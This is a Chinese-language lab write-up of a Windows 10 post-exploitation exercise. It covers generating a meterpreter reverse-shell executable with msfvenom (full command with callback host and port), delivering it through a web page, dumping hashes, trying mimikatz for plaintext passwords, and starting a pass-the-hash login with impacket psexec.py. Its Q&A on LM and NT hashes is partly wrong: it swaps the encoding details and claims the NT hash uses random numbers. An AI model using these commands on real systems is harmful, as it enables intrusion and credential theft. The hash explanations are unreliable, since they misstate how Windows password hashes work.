目录
实验准备
用msf拿到shell
抓取hash和明文密码
相关问题
问题1.通过hashdump抓取所有用户的密文为什么分成两个模块,这两个模块分别代表什么 ?
问题2.为什么第一个模块 永远是一样的aad3?
问题3.这两个模块的加密算法有什么不同,如何加密的?
问题4.windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文?
实验准备
一台kali
一台windows10,防火墙和实时保护关掉。
用msf拿到shell
1.先生成一个反弹木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.247.135 LPORT=12345 -f exe -o shell.exe
2.然后挂到网页上去win10上用浏览器下载下来:
3.msf开启监听,然后点击木马上线:
抓取hash和明文密码
1.提权后直接hashdump获取hash值:
相关问题
问题1.通过hashdump抓取所有用户的密文为什么分成两个模块,这两个模块分别代表什么 ?
因为这两部分是不同的内容,第一部分是LM哈希,第二部分是NT哈希。
问题2.为什么第一个模块 永远是一样的aad3?
因为LM哈希不安全,都是aad3这样的内容说明LM Hash为空值或被禁用了。
问题3.这两个模块的加密算法有什么不同,如何加密的?
第一部分是基于DES算法加密的,第二部分是基于MD4算法加密的;
第一部分加密过程是用户密码首先被转换为Unicode格式,然后使用Unicode Little-Endian编码进行哈希,第二部分是将用户密码和一些随机数来结合计算出的哈希值,更复杂更安全。
2.然后现在尝试抓取明文密码:
用工具mimikatz,先在会话中导入kiwi:
然后尝试抓取明文密码:
发现密码这一列都是null,先看下面这个问题:
问题4.windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文?
登录的时候会启动一个winlogon.exe进程,把明文账号密码发给lsass.exe这个进程,然后这个进程会干两件事,1是把明文账号密码在内存中存储一份,2是把账号密码加密后存在SAM这个文件里:
但是这个文件打不开看不了。可以利用其他工具来看。
现在回到第二部,因为mimikatz这个工具是利用了lsass.exe会把一份明文账号密码存到内存中,所以才能抓到,但是由于系统补丁才抓不到了。不过继续横向不需要明文密码,因为系统验证都是通过比对hash值的,而哈希值又是不可逆的,所以知道明文密码也没什么作用,反而比hash麻烦了一步。
3.利用hash登录
这里直接利用kali自带的脚本,/usr/share/doc/python3-impacket/examples下的psexec.py: